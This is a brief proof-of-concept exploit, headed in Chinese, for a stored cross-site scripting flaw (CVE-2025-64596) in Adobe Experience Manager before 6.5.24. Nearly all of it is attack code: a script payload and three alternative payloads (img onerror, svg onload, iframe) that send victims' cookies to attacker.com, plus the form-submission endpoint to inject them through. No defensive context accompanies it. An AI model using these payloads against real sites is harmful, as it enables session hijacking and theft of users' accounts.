CVE-2025-64596: Adobe Experience Manager存储型XSS漏洞

// CVE-2025-64596 Stored XSS PoC // Target: Adobe Experience Manager < 6.5.24 // Attack Vector: Inject malicious script into vulnerable form field // Step 1: Identify vulnerable form field // Step 2: Inject XSS payload const xssPayload = '<script>fetch("https://attacker.com/steal?c="+document.cookie)</script>'; // Example: Submit form with XSS payload // POST /content/forms/af/[form-path]/jcr:content/guideContainer.af.submit.jsp // Form data: [vulnerable-field]=[xssPayload] // Alternative payloads: const altPayloads = [ '<img src=x onerror=fetch("https://attacker.com/steal?c="+btoa(document.cookie))>', '<svg/onload=fetch("https://attacker.com/steal?c="+document.cookie)>', '<iframe src="javascript:fetch('https://attacker.com/steal?c='+document.cookie)">' ]; console.log('XSS Payload:', xssPayload); console.log('Alternative payloads available:', altPayloads.length);